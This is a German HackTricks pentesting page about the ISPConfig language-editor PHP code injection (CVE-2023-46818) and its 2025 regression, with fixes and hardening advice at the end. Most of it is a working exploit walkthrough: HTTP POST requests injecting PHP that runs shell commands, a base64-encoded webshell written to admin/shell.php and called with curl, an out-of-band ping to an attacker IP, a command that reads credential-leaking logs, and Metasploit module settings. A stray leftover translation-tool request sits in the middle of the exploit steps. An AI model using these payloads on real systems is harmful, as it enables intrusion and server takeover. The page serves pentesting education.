ISPConfig
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Übersicht
ISPConfig ist ein Open-Source-Hosting-Control-Panel. Ältere 3.2.x-Versionen enthielten eine Funktion zum Bearbeiten von Sprachdateien, die, wenn sie für den Super-Administrator aktiviert war, arbitrary PHP code injection über einen fehlerhaften Übersetzungseintrag erlaubte. Das kann zu RCE im Webserver-Kontext führen und, abhängig davon, wie PHP ausgeführt wird, zu privilege escalation.
Wichtige Standardpfade:
- Webroot befindet sich häufig unter
/var/www/ispconfig, wenn mitphp -Soder über Apache/nginx bereitgestellt. - Admin UI erreichbar über den HTTP(S) vhost (manchmal nur an localhost gebunden; bei Bedarf SSH port-forward verwenden).
Tipp: Wenn das Panel lokal gebunden ist (z. B. 127.0.0.1:8080), weiterleiten:
ssh -L 9001:127.0.0.1:8080 user@target
# then browse http://127.0.0.1:9001
Language editor PHP code injection (CVE-2023-46818)
- Betroffen: ISPConfig bis 3.2.11 (behoben in 3.2.11p1)
- Voraussetzungen:
- Anmeldung mit dem eingebauten Superadmin-Konto
admin(andere Rollen sind laut Hersteller nicht betroffen) - Language editor muss aktiviert sein:
admin_allow_langedit=yesin/usr/local/ispconfig/security/security_settings.ini - Auswirkungen: Authentifizierter Admin kann beliebiges PHP injizieren, das in eine Sprachdatei geschrieben und von der Anwendung ausgeführt wird, wodurch RCE im Webkontext erreicht wird
References: NVD entry CVE-2023-46818 and vendor advisory link in the References section below.
Manueller Exploit-Ablauf
- Open/create a language file to obtain CSRF tokens
Sende einen ersten POST, um das Formular zu initialisieren und parse die CSRF-Felder aus der HTML-Antwort (csrf_id, csrf_key). Beispiel Request-Pfad: /admin/language_edit.php.
- Inject PHP via records[] and save
Sende einen zweiten POST einschließlich der CSRF-Felder und eines bösartigen Übersetzungs-Eintrags. Minimal command-execution probes:
POST /admin/language_edit.php HTTP/1.1
Host: 127.0.0.1:9001
Content-Type: application/x-www-form-urlencoded
Cookie: ispconfig_auth=...
lang=en&module=admin&file=messages&csrf_id=<id>&csrf_key=<key>&records[]=<?php echo shell_exec('id'); ?>
Out-of-band-Test (ICMP beobachten):
records[]=<?php echo shell_exec('ping -c 1 10.10.14.6'); ?>
- Dateien schreiben und eine webshell ablegen
Verwende file_put_contents, um eine Datei unter einem webzugänglichen Pfad (z. B. admin/) zu erstellen:
records[]=<?php file_put_contents('admin/pwn.txt','owned'); ?>
Schreibe dann eine einfache webshell, die base64 verwendet, um ungültige Zeichen im POST-Body zu vermeiden:
records[]=<?php file_put_contents('admin/shell.php', base64_decode('PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsiY21kIl0pIDsgPz4K')); ?>
Bitte den Inhalt der Datei src/network-services-pentesting/pentesting-web/ispconfig.md hier einfügen oder die Datei hochladen — dann übersetze ich den relevanten englischen Text ins Deutsche unter Beibehaltung der Markdown-/HTML-Syntax.
curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id'
Wenn PHP als root ausgeführt wird (z. B. via php -S 127.0.0.1:8080, gestartet von root), führt dies zu unmittelbarem root RCE. Andernfalls erhält man Codeausführung als Webserver-Benutzer.
2025 regression (ISPConfig 3.3.0 / 3.3.0p1)
Der Fehler im Spracheditor trat in 3.3.0/3.3.0p1 wieder auf und wurde in 3.3.0p2 behoben. Voraussetzungen sind unverändert (admin_allow_langedit und Admin-Login). Der gleiche Patch adressierte außerdem einen monitor XSS und weltweite lesbare rotierte Logs.
Hinweise:
- In 3.3.0/3.3.0p1 können für alle lesbare, rotierte Logs unter
/usr/local/ispconfig/interface/log/Zugangsdaten leaken, wenn Debug-Logging aktiviert war:
find /usr/local/ispconfig/interface/log -type f -perm -004 -name '*.gz' -exec zcat {} + | head
- Exploit-Schritte entsprechen CVE-2023-46818; 3.3.0p2 fügt zusätzliche Prüfungen vor dem Editieren der Sprache hinzu.
Python PoC
Ein einsatzbereiter Exploit automatisiert Token-Handling und Payload-Delivery:
Beispielausführung:
python3 cve-2023-46818.py http://127.0.0.1:9001 admin <password>
Metasploit-Modul (veröffentlicht im Juli 2025)
Rapid7 hat exploit/linux/http/ispconfig_lang_edit_php_code_injection hinzugefügt, das admin_allow_langedit automatisch aktivieren kann, wenn das angegebene Admin-Konto system-config-Rechte hat.
use exploit/linux/http/ispconfig_lang_edit_php_code_injection
set RHOSTS 10.10.10.50
set RPORT 8080
set USERNAME admin
set PASSWORD <admin_pass>
set TARGETURI /
run
Das Modul schreibt eine base64-encoded payload durch records[] und führt sie aus, wodurch ein PHP Meterpreter oder eine custom payload entsteht.
Härtung
- Aktualisieren Sie auf 3.2.11p1 oder neuer für das ursprüngliche Problem und auf 3.3.0p2 oder neuer für die Regression 2025.
- Deaktivieren Sie den language editor, sofern nicht unbedingt benötigt:
admin_allow_langedit=no
- Vermeide, das Panel als root auszuführen; konfiguriere PHP-FPM oder den web server so, dass Privilegien reduziert werden
- Erzwinge starke Authentifizierung für das standardmäßige
admin-Konto
Referenzen
- ISPConfig 3.2.11p1 Released (fixes language editor code injection)
- CVE-2023-46818 – NVD
- bipbopbup/CVE-2023-46818-python-exploit
- HTB Nocturnal: Root via ISPConfig language editor RCE
- ISPConfig 3.3.0p2 Released – Security Update
- CXSecurity WLB-2025070017 – Metasploit module for ISPConfig language_edit.php
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.


